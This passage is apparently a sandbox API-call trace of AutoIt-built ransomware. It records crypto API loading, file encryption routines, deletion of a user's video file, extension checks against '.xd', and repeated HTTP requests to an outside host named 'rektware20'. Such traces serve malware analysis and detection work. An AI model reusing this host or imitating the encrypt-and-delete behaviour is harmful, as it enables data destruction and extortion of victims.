hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.525] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.525] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.525] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.525] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.525] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.525] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.525] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.526] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.526] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.526] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.527] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.527] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0066.527] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.527] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.527] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.527] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.527] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.527] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.527] CloseHandle (hObject=0x2ac) returned 1 [0066.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.532] CloseHandle (hObject=0x3bc) returned 1 [0066.544] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.549] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.580] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", lpFilePart=0x0) returned 0x48 [0066.580] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jswlrbzahj8agfjzd-.mp4")) returned 0x20 [0066.580] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c9b0 [0066.581] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jswlrbzahj8agfjzd-.mp4")) returned 1 [0066.583] FindNextFileW (in: hFindFile=0x164c9b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.584] FindClose (in: hFindFile=0x164c9b0 | out: hFindFile=0x164c9b0) returned 1 [0066.584] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.584] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.584] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.584] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.584] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.586] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.586] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.586] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.586] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.586] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.586] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.586] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c) returned 1 [0066.586] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.586] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.586] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.588] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.588] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.588] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.588] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.588] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.589] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.589] CloseHandle (hObject=0x0) returned 0 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nd2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.591] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.591] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.591] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.592] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.592] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.592] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.592] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.592] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.592] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c) returned 1 [0066.592] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.592] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.592] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.593] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.593] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.593] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.593] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.593] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.593] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.593] CloseHandle (hObject=0x0) returned 0 [0066.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.594] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.594] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.594] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.594] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.594] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.594] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.595] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.595] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.595] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.595] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.595] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.595] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.595] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.595] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, 